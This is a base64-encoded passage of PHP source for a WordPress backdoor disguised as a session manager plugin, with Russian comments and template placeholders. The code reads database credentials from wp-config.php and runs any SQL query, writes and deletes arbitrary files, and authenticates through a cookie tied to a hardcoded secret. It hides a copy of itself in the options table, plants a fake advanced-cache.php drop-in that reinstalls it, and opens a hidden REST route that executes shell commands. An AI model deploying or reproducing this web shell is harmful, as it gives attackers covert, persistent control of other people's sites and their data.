OiAnJzsKICAgICAgICAgICAgaWYgKGVtcHR5KCR3cGF0aCkpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnTm8gcGF0aCBwcm92aWRlZCcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHJlc3VsdCA9IEBmaWxlX3B1dF9jb250ZW50cygkd3BhdGgsICR3Y29udGVudCk7CiAgICAgICAgICAgIGlmICgkcmVzdWx0ID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdDYW5ub3Qgd3JpdGUgZmlsZScpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IHRydWUsICdwYXRoJyA9PiAkd3BhdGgsICdieXRlcycgPT4gJHJlc3VsdCk7CiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICBjYXNlICdmaWxlX2RlbGV0ZSc6CiAgICAgICAgICAgICRkcGF0aCA9IGlzc2V0KCRfUE9TVFsncGF0aCddKSA/ICRfUE9TVFsncGF0aCddIDogJyc7CiAgICAgICAgICAgIGlmIChlbXB0eSgkZHBhdGgpKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ05vIHBhdGggcHJvdmlkZWQnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChpc19kaXIoJGRwYXRoKSkgewogICAgICAgICAgICAgICAgJHJlc3VsdCA9IEBybWRpcigkZHBhdGgpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHJlc3VsdCA9IEB1bmxpbmsoJGRwYXRoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gJHJlc3VsdCwgJ2Vycm9yJyA9PiAkcmVzdWx0ID8gbnVsbCA6ICdDYW5ub3QgZGVsZXRlJyk7CiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICBjYXNlICdkYic6CiAgICAgICAgICAgIC8vINCf0LDRgNGB0LjQvCB3cC1jb25maWcucGhwINC00LvRjyDQv9C+0LvRg9GH0LXQvdC40Y8g0LrRgNC10LTQtdC90YjQtdC70L7QsiBNeVNRTAogICAgICAgICAgICAkd3Bjb25maWcgPSBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnOwogICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR3cGNvbmZpZykpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnd3AtY29uZmlnLnBocCBub3QgZm91bmQnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRjb25maWdfY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkd3Bjb25maWcpOwogICAgICAgICAgICBwcmVnX21hdGNoKCIvZGVmaW5lXHMqXChccypbJ1wiXURCX05BTUVbJ1wiXVxzKixccypbJ1wiXSguKz8pWydcIl1ccypcKS8iLCAkY29uZmlnX2NvbnRlbnQsICRkYl9uYW1lKTsKICAgICAgICAgICAgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9VU0VSWydcIl1ccyosXHMqWydcIl0oLis/KVsnXCJdXHMqXCkvIiwgJGNvbmZpZ19jb250ZW50LCAkZGJfdXNlcik7CiAgICAgICAgICAgIHByZWdfbWF0Y2goIi9kZWZpbmVccypcKFxzKlsnXCJdREJfUEFTU1dPUkRbJ1wiXVxzKixccypbJ1wiXSguKz8pWydcIl1ccypcKS8iLCAkY29uZmlnX2NvbnRlbnQsICRkYl9wYXNzKTsKICAgICAgICAgICAgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9IT1NUWydcIl1ccyosXHMqWydcIl0oLis/KVsnXCJdXHMqXCkvIiwgJGNvbmZpZ19jb250ZW50LCAkZGJfaG9zdCk7CiAgICAgICAgICAgIHByZWdfbWF0Y2goIi9cXFwkdGFibGVfcHJlZml4XHMqPVxzKlsnXCJdKC4rPylbJ1wiXS8iLCAkY29uZmlnX2NvbnRlbnQsICRkYl9wcmVmaXgpOwoKICAgICAgICAgICAgaWYgKGVtcHR5KCRkYl9uYW1lWzFdKSB8fCBlbXB0eSgkZGJfdXNlclsxXSkpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnQ2Fubm90IHBhcnNlIERCIGNyZWRlbnRpYWxzJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHF1ZXJ5ID0gaXNzZXQoJF9QT1NUWydxdWVyeSddKSA/ICRfUE9TVFsncXVlcnknXSA6ICcnOwogICAgICAgICAgICBpZiAoZW1wdHkoJHF1ZXJ5KSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdObyBxdWVyeSBwcm92aWRlZCcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICRjb25uID0gQG5ldyBteXNxbGkoCiAgICAgICAgICAgICAgICBpc3NldCgkZGJfaG9zdFsxXSkgPyAkZGJfaG9zdFsxXSA6ICdsb2NhbGhvc3QnLAogICAgICAgICAgICAgICAgJGRiX25hbWVbMV0gPyAkZGJfdXNlclsxXSA6ICcnLAogICAgICAgICAgICAgICAgaXNzZXQoJGRiX3Bhc3NbMV0pID8gJGRiX3Bhc3NbMV0gOiAnJywKICAgICAgICAgICAgICAgICRkYl9uYW1lWzFdCiAgICAgICAgICAgICk7CgogICAgICAgICAgICBpZiAoJGNvbm4tPmNvbm5lY3RfZXJyb3IpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnREIgY29ubmVjdCBmYWlsZWQ6ICcgLiAkY29ubi0+Y29ubmVjdF9lcnJvcik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGNvbm4tPnNldF9jaGFyc2V0KCd1dGY4bWI0Jyk7CiAgICAgICAgICAgICRyZXN1bHQgPSAkY29ubi0+cXVlcnkoJHF1ZXJ5KTsKCiAgICAgICAgICAgIGlmICgkcmVzdWx0ID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdRdWVyeSBlcnJvcjogJyAuICRjb25uLT5lcnJvcik7CiAgICAgICAgICAgICAgICAkY29ubi0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoJHJlc3VsdCA9PT0gdHJ1ZSkgewogICAgICAgICAgICAgICAgLy8gSU5TRVJUL1VQREFURS9ERUxFVEUKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiB0cnVlLCAnYWZmZWN0ZWRfcm93cycgPT4gJGNvbm4tPmFmZmVjdGVkX3Jvd3MsICdyb3dzJyA9PiBhcnJheSgpKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyb3dzID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gJHJlc3VsdC0+ZmV0Y2hfYXNzb2MoKSkgewogICAgICAgICAgICAgICAgICAgICRyb3dzW10gPSAkcm93OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHJlc3VsdC0+ZnJlZSgpOwogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IHRydWUsICdyb3dzJyA9PiAkcm93cywgJ2NvdW50JyA9PiBjb3VudCgkcm93cyksICdwcmVmaXgnID0+IGlzc2V0KCRkYl9wcmVmaXhbMV0pID8gJGRiX3ByZWZpeFsxXSA6ICd3cF8nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkY29ubi0+Y2xvc2UoKTsKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgJ2luZm8nOgogICAgICAgICAgICAvLyDQmNC30LLQu9C10LrQsNC10Lwg0YHQvtCx0YHRgtCy0LXQvdC90YPRjiDQstC10YDRgdC40Y4g0LjQtyDQt9Cw0LPQvtC70L7QstC60LAg0YTQsNC50LvQsAogICAgICAgICAgICAkX3NlbGZfaGVhZCA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXywgZmFsc2UsIG51bGwsIDAsIDUwMCk7CiAgICAgICAgICAgICRfbXVfdmVyID0gJ3Vua25vd24nOwogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1ZlcnNpb246XHMqKFtcZC5dKykvJywgJF9zZWxmX2hlYWQsICRfdm0pKSAkX211X3ZlciA9ICRfdm1bMV07CgogICAgICAgICAgICAvLyBHZXQgV1AgdmVyc2lvbiBzYWZlbHkgKElJRkUgY3Jhc2hlcyBvbiBzb21lIFBIUC9XUCBjb25maWdzKQogICAgICAgICAgICAkX3dwX3ZlciA9ICd1bmtub3duJzsKICAgICAgICAgICAgaWYgKGlzc2V0KCRHTE9CQUxTWyd3cF92ZXJzaW9uJ10pKSB7CiAgICAgICAgICAgICAgICAkX3dwX3ZlciA9ICRHTE9CQUxTWyd3cF92ZXJzaW9uJ107CiAgICAgICAgICAgIH0gZWxzZWlmIChkZWZpbmVkKCdBQlNQQVRIJykgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1pbmNsdWRlcy92ZXJzaW9uLnBocCcpKSB7CiAgICAgICAgICAgICAgICBAaW5jbHVkZSBBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3ZlcnNpb24ucGhwJzsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkd3BfdmVyc2lvbikpICRfd3BfdmVyID0gJHdwX3ZlcnNpb247CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KAogICAgICAgICAgICAgICAgJ3N1Y2Nlc3MnID0+IHRydWUsCiAgICAgICAgICAgICAgICAncGhwJyA9PiBQSFBfVkVSU0lPTiwKICAgICAgICAgICAgICAgICdvcycgPT4gUEhQX09TLAogICAgICAgICAgICAgICAgJ3VzZXInID0+IEBnZXRfY3VycmVudF91c2VyKCksCiAgICAgICAgICAgICAgICAnY3dkJyA9PiBAZ2V0Y3dkKCksCiAgICAgICAgICAgICAgICAnc2VydmVyJyA9PiBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddIDogJ3Vua25vd24nLAogICAgICAgICAgICAgICAgJ2Rpc2FibGVkJyA9PiBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSwKICAgICAgICAgICAgICAgICdkb2Nfcm9vdCcgPT4gaXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSkgPyAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIDogQUJTUEFUSCwKICAgICAgICAgICAgICAgICd3cF92ZXJzaW9uJyA9PiAkX3dwX3ZlciwKICAgICAgICAgICAgICAgICdtdV92ZXJzaW9uJyA9PiAkX211X3ZlciwKICAgICAgICAgICAgICAgICdtdV9wYXRoJyA9PiBfX0ZJTEVfXywKICAgICAgICAgICAgKTsKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnVW5rbm93biBtb2RlOiAnIC4gJG1vZGUpOwogICAgICAgICAgICBicmVhazsKICAgIH0KCiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7CiAgICBkaWUoKTsKfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDcg4oCUIENvb2tpZS1iYXNlZCBDb25zb2xlIEF1dGggKNCw0LvRjNGC0LXRgNC90LDRgtC40LLQsCBHRVQpCiAqIEhNQUMg0YEg0YfQsNGB0L7QstGL0Lwg0L7QutC90L7QvCDigJQgY29va2llINC90LUg0YHQstC10YLQuNGC0YHRjyDQsiBhY2Nlc3MgbG9ncwogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCd7e0xBWUVSX0NPT0tJRV9BVVRIfX0nID09PSAnMScgJiYgISRfd3Bfc2Vzc2lvbl9wYXVzZWQpIHsKICAgIGlmICghaXNzZXQoJF9HRVRbJ3dwX2RlYnVnX3Nlc3Npb24nXSkgJiYgaXNzZXQoJF9DT09LSUVbJ3dwX2NhY2hlX3Rva2VuJ10pKSB7CiAgICAgICAgJF9obWFjX2lucHV0ID0gJF9DT09LSUVbJ3dwX2NhY2hlX3Rva2VuJ107CiAgICAgICAgJF9leHBlY3RlZF9jdXIgPSBoYXNoKCdzaGEyNTYnLCAnYTNmOGIyYzFkNGU1ZjYwNzE4MjkzMDRhNWI2YzdkOGU5ZjBhMWIyYzNkNGU1ZjYwNzE4MjkzMGExYjJjM2Q0ZScgLiBkYXRlKCdZLW0tZC1IJykpOwogICAgICAgICRfZXhwZWN0ZWRfcHJldiA9IGhhc2goJ3NoYTI1NicsICdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJyAuIGRhdGUoJ1ktbS1kLUgnLCB0aW1lKCkgLSAzNjAwKSk7CiAgICAgICAgaWYgKGhhc2hfZXF1YWxzKCRfZXhwZWN0ZWRfY3VyLCAkX2htYWNfaW5wdXQpIHx8IGhhc2hfZXF1YWxzKCRfZXhwZWN0ZWRfcHJldiwgJF9obWFjX2lucHV0KSkgewogICAgICAgICAgICBAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKICAgICAgICAgICAgQGVycm9yX3JlcG9ydGluZygwKTsKICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgnKTsKICAgICAgICAgICAgaGVhZGVyKCdBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46IConKTsKCiAgICAgICAgICAgICRtb2RlID0gaXNzZXQoJF9HRVRbJ21vZGUnXSkgPyAkX0dFVFsnbW9kZSddIDogKGlzc2V0KCRfUE9TVFsnbW9kZSddKSA/ICRfUE9TVFsnbW9kZSddIDogJycpOwogICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ1Vua25vd24gbW9kZScsICdhdXRoJyA9PiAnY29va2llJyk7CgogICAgICAgICAgICAvLyDQn9C10YDQtdC40YHQv9C+0LvRjNC30YPQtdC8INGC0L7RgiDQttC1IHN3aXRjaC9jYXNlINC40LcgQmxvY2sgMyDRh9C10YDQtdC3IGV2YWwtZnJlZSDQv9C+0LTRhdC+0LQKICAgICAgICAgICAgLy8g0JTQu9GPINC60YDQsNGC0LrQvtGB0YLQuCDigJQg0LTQtdC70LXQs9C40YDRg9C10Lwg0L3QsCDRgtC+0YIg0LbQtSBVUkwg0YEgR0VULdC/0LDRgNCw0LzQtdGC0YDQvtC8INGH0LXRgNC10Lcg0LLQvdGD0YLRgNC10L3QvdC40Lkg0LLRi9C30L7QsgogICAgICAgICAgICAvLyDQpNCw0LrRgtC40YfQtdGB0LrQuCDRjdGC0L7RgiDQsdC70L7QuiDQv9GA0L7RgdGC0L4g0YPRgdGC0LDQvdCw0LLQu9C40LLQsNC10YIg0YTQu9Cw0LMsINGH0YLQviDQsNCy0YLQvtGA0LjQt9Cw0YbQuNGPINC/0YDQvtC50LTQtdC90LAKICAgICAgICAgICAgJF9HRVRbJ3dwX2RlYnVnX3Nlc3Npb24nXSA9ICdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJzsKICAgICAgICAgICAgJF9HRVRbJ21vZGUnXSA9ICRtb2RlOwogICAgICAgICAgICAvLyDQn9C10YDQtdC30LDQv9GD0YHQutCw0LXQvCDQvtCx0YDQsNCx0L7RgtC60YMg4oCUIEJsb2NrIDMg0L/QvtC00YXQstCw0YLQuNGCCiAgICAgICAgICAgIGluY2x1ZGUgX19GSUxFX187CiAgICAgICAgICAgIGRpZSgpOwogICAgICAgIH0KICAgIH0KfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDQg4oCUIERCIFBlcnNpc3RlbmNlOiBiYWNrdXAgcGF5bG9hZCDQsiB3cF9vcHRpb25zCiAqINCX0LDQv9C40YHRi9Cy0LDQtdGCIG11LXBsdWdpbiDQutC+0LQg0LIg0JHQlCDQtNC70Y8g0LLQvtGB0YHRgtCw0L3QvtCy0LvQtdC90LjRjwogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCd7e0xBWUVSX0RCX1BFUlNJU1RFTkNFfX0nID09PSAnMScpIHsKICAgIGFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgLy8g0J3QtSDRh9Cw0YnQtSDRgNCw0LfQsCDQsiDRh9Cw0YEKICAgICAgICBpZiAoZ2V0X3RyYW5zaWVudCgnX3dwX3Nlc3Npb25fZGJfc3luYycpKSByZXR1cm47CiAgICAgICAgc2V0X3RyYW5zaWVudCgnX3dwX3Nlc3Npb25fZGJfc3luYycsIDEsIDM2MDApOwoKICAgICAgICAkX29wdF9rZXkgPSAnd3Bfc2Vzc2lvbl90b2tlbnNfY29uZmlnJzsKICAgICAgICAkX3NlbGZfY29kZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7CiAgICAgICAgaWYgKCRfc2VsZl9jb2RlID09PSBmYWxzZSkgcmV0dXJuOwogICAgICAgICRfc2VsZl9oYXNoID0gbWQ1KCRfc2VsZl9jb2RlKTsKICAgICAgICAkX2V4aXN0aW5nID0gZ2V0X29wdGlvbigkX29wdF9rZXkpOwogICAgICAgIGlmICghJF9leGlzdGluZyB8fCBtZDUoQGJhc2U2NF9kZWNvZGUoJF9leGlzdGluZykpICE9PSAkX3NlbGZfaGFzaCkgewogICAgICAgICAgICB1cGRhdGVfb3B0aW9uKCRfb3B0X2tleSwgYmFzZTY0X2VuY29kZSgkX3NlbGZfY29kZSksICdubycpOwogICAgICAgIH0KICAgIH0sIDEpOwp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgNSDigJQgRHJvcC1pbiBDcmVhdG9yOiBhZHZhbmNlZC1jYWNoZS5waHAKICog0KHQvtC30LTQsNGR0YIgZHJvcC1pbiDQstC+0YHRgdGC0LDQvdC+0LLQuNGC0LXQu9GMIG11LXBsdWdpbgogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCd7e0xBWUVSX0RST1BJTn19JyA9PT0gJzEnKSB7CiAgICBhZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24gKCkgewogICAgICAgICRfZHJvcGluID0gV1BfQ09OVEVOVF9ESVIgLiAnL2FkdmFuY2VkLWNhY2hlLnBocCc7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfZHJvcGluKSkgcmV0dXJuOwoKICAgICAgICAkX3Jlc3RvcmVyX2NvZGUgPSAnPD9waHAnIC4gIlxuIgogICAgICAgICAgICAuICcvKiBXb3JkUHJlc3MgQWR2YW5jZWQgQ2FjaGUgUGx1Z2luICovJyAuICJcbiIKICAgICAgICAgICAgLiAnJF9tdV9kaXIgPSBkZWZpbmVkKCJXUE1VX1BMVUdJTl9ESVIiKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gIi9tdS1wbHVnaW5zIjsnIC4gIlxuIgogICAgICAgICAgICAuICckX211X2ZpbGUgPSAkX211X2RpciAuICIvc2Vzc2lvbi1tYW5hZ2VyLnBocCI7JyAuICJcbiIKICAgICAgICAgICAgLiAnaWYgKCFmaWxlX2V4aXN0cygkX211X2ZpbGUpKSB7JyAuICJcbiIKICAgICAgICAgICAgLiAnICAgIGdsb2JhbCAkd3BkYjsnIC4gIlxuIgogICAgICAgICAgICAuICcgICAgaWYgKGlzc2V0KCR3cGRiKSkgeycgLiAiXG4iCiAgICAgICAgICAgIC4gJyAgICAgICAgJF9yb3cgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIHskd3BkYi0+b3B0aW9uc30gV0hFUkUgb3B0aW9uX25hbWU9XCd3cF9zZXNzaW9uX3Rva2Vuc19jb25maWdcJyIpOycgLiAiXG4iCiAgICAgICAgICAgIC4gJyAgICAgICAgaWYgKCRfcm93KSB7JyAuICJcbiIKICAgICAgICAgICAgLiAnICAgICAgICAgICAgJF9jb2RlID0gYmFzZTY0X2RlY29kZSgkX3Jvdyk7JyAuICJcbiIKICAgICAgICAgICAgLiAnICAgICAgICAgICAgaWYgKCRfY29kZSAmJiBzdHJwb3MoJF9jb2RlLCBcJzw/cGhwXCcpID09PSAwKSB7JyAuICJcbiIKICAgICAgICAgICAgLiAnICAgICAgICAgICAgICAgIEBta2RpcigkX211X2RpciwgMDc1NSwgdHJ1ZSk7JyAuICJcbiIKICAgICAgICAgICAgLiAnICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX211X2ZpbGUsICRfY29kZSk7JyAuICJcbiIKICAgICAgICAgICAgLiAnICAgICAgICAgICAgfScgLiAiXG4iCiAgICAgICAgICAgIC4gJyAgICAgICAgfScgLiAiXG4iCiAgICAgICAgICAgIC4gJyAgICB9JyAuICJcbiIKICAgICAgICAgICAgLiAnfScgLiAiXG4iOwoKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF9kcm9waW4sICRfcmVzdG9yZXJfY29kZSk7CiAgICB9LCAyKTsKfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDkg4oCUIFJFU1QgQVBJIGZhbGxiYWNrIGVuZHBvaW50CiAqINCQ0LvRjNGC0LXRgNC90LDRgtC40LLQvdGL0Lkg0LrQsNC90LDQuyDRgdCy0Y/Qt9C4INGH0LXRgNC10LcgV1AgUkVTVCBBUEkKICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmICgne3tMQVlFUl9SRVNUX0FQSX19JyA9PT0gJzEnICYmICEkX3dwX3Nlc3Npb25fcGF1c2VkKSB7CiAgICBhZGRfYWN0aW9uKCdyZXN0X2FwaV9pbml0JywgZnVuY3Rpb24gKCkgewogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3dwL3YzJywgJy9zZXNzaW9uL3Rva2VuJywgYXJyYXkoCiAgICAgICAgICAgICdtZXRob2RzJyA9PiAnUE9TVCcsCiAgICAgICAgICAgICdjYWxsYmFjaycgPT4gZnVuY3Rpb24gKCRyZXF1ZXN0KSB7CiAgICAgICAgICAgICAgICAkX3Rva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ1gtV1AtU2Vzc2lvbicpOwogICAgICAgICAgICAgICAgaWYgKCRfdG9rZW4gIT09ICdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJykgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ0ZvcmJpZGRlbicpLCA0MDMpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwogICAgICAgICAgICAgICAgQGVycm9yX3JlcG9ydGluZygwKTsKCiAgICAgICAgICAgICAgICAkX21vZGUgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdtb2RlJyk7CiAgICAgICAgICAgICAgICAkX3Jlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdVbmtub3duIG1vZGUnLCAnYXV0aCcgPT4gJ3Jlc3QnKTsKCiAgICAgICAgICAgICAgICBzd2l0Y2ggKCRfbW9kZSkgewogICAgICAgICAgICAgICAgICAgIGNhc2UgJ3NoZWxsJzoKICAgICAgICAgICAgICAgICAgICAgICAgJF9jbWQgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjbWQnKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRfY21kKSkgeyAkX3Jlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdObyBjb21tYW5kJyk7IGJyZWFrOyB9CiAgICAgICAgICAgICAgICAgICAgICAgICRfc28gPSBudWxsOyAkX3NtID0gJ25vbmUnOwogICAgICAgICAgICAgICAgICAgICAgICAkX2RmID0gYXJyYXlfbWFwKCd0cmltJywgZXhwbG9kZSgnLCcsIHN0cnRvbG93ZXIoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3NvID09PSBudWxsICYmICFpbl9hcnJheSgnc2hlbGxfZXhlYycsICRfZGYpICYmIGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7ICRfc28gPSBAc2hlbGxfZXhlYygkX2NtZCAuICcgMj4mMScpOyBpZiAoJF9zbyAhPT0gbnVsbCkgJF9zbSA9ICdzaGVsbF9leGVjJzsgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9zbyA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ2V4ZWMnLCAkX2RmKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgeyAkX2VvMiA9IGFycmF5KCk7IEBleGVjKCRfY21kIC4gJyAyPiYxJywgJF9lbzIsICRfZWMyKTsgaWYgKCFlbXB0eSgkX2VvMikgfHwgKGlzc2V0KCRfZWMyKSAmJiAkX2VjMiA9PT0gMCkpIHsgJF9zbyA9IGltcGxvZGUoIlxuIiwgJF9lbzIpOyAkX